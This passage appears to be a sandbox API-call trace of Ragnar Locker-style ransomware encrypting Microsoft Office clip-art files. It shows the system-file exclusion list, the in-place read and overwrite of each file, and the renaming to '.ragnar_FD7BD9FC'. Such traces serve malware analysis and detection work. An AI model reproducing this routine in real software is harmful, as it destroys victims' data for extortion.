lpString2="thumbs.db") returned -1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.859] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf")) returned 0x20 [0095.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.860] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13394) returned 1 [0095.860] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3449, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.860] GetProcessHeap () returned 0x580000 [0095.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.860] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.862] VirtualAlloc (lpAddress=0x0, dwSize=0x3452, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.862] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.862] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.862] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3452, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3452, lpOverlapped=0x0) returned 1 [0095.863] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.863] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3452, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.863] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3452, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3452, lpOverlapped=0x0) returned 1 [0095.863] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3452, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.863] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.863] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3452, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.864] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.864] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.864] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.864] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.864] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.864] GetProcessHeap () returned 0x580000 [0095.864] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.864] CloseHandle (hObject=0x104) returned 1 [0095.864] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" [0095.864] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.ragnar_FD7BD9FC" [0095.864] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.865] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0095.865] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.865] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0286034.WMF" | out: lpString1="J0286034.WMF") returned="J0286034.WMF" [0095.865] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF") returned=".WMF" [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="autorun.inf") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="boot.ini") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootfont.bin") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootsect.bak") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootmgr") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootmgr.efi") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootmgfw.efi") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="desktop.ini") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="iconcache.db") returned 1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ntldr") returned -1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ntuser.dat") returned -1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ntuser.dat.log") returned -1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ntuser.ini") returned -1 [0095.865] lstrcmpiW (lpString1="J0286034.WMF", lpString2="thumbs.db") returned -1 [0095.865] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.865] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.865] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.865] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.865] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.866] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.866] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf")) returned 0x20 [0095.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.867] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2528) returned 1 [0095.867] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.867] GetProcessHeap () returned 0x580000 [0095.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.867] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.868] VirtualAlloc (lpAddress=0x0, dwSize=0x9e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.868] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.868] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.869] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9e0, lpOverlapped=0x0) returned 1 [0095.869] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.869] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.869] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9e0, lpOverlapped=0x0) returned 1 [0095.869] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.869] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.869] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.869] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.869] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.869] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.869] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.869] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.869] GetProcessHeap () returned 0x580000 [0095.870] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.870] CloseHandle (hObject=0x104) returned 1 [0095.870] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" [0095.870] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.ragnar_FD7BD9FC" [0095.870] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.871] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0095.871] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.871] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0286068.WMF" | out: lpString1="J0286068.WMF") returned="J0286068.WMF" [0095.871] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF") returned=".WMF" [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="autorun.inf") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="boot.ini") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootfont.bin") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootsect.bak") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootmgr") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootmgr.efi") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootmgfw.efi") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="desktop.ini") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="iconcache.db") returned 1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ntldr") returned -1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ntuser.dat") returned -1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ntuser.dat.log") returned -1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ntuser.ini") returned -1 [0095.871] lstrcmpiW (lpString1="J0286068.WMF", lpString2="thumbs.db") returned -1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf")) returned 0x20 [0095.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.872] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2512) returned 1 [0095.872] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.872] GetProcessHeap () returned 0x580000 [0095.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.872] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.874] VirtualAlloc (lpAddress=0x0, dwSize=0x9d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.874] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.874] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.874] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d0, lpOverlapped=0x0) returned 1 [0095.874] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.874] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.874] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d0, lpOverlapped=0x0) returned 1 [0095.874] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.875] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.875] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.875] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.875] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.875] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.875] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.875] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.875] GetProcessHeap () returned 0x580000 [0095.875] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.875] CloseHandle (hObject=0x104) returned 1 [0095.875] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" [0095.875] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.ragnar_FD7BD9FC" [0095.875] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.877] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0095.877] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.877] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0287005.WMF" | out: lpString1="J0287005.WMF") returned="J0287005.WMF" [0095.878] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF") returned=".WMF" [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="autorun.inf") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="boot.ini") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootfont.bin") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootsect.bak") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootmgr") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootmgr.efi") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootmgfw.efi") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="desktop.ini") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="iconcache.db") returned 1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ntldr") returned -1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ntuser.dat") returned -1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ntuser.dat.log") returned -1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ntuser.ini") returned -1 [0095.878] lstrcmpiW (lpString1="J0287005.WMF", lpString2="thumbs.db") returned -1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.878] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf")) returned 0x20 [0095.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 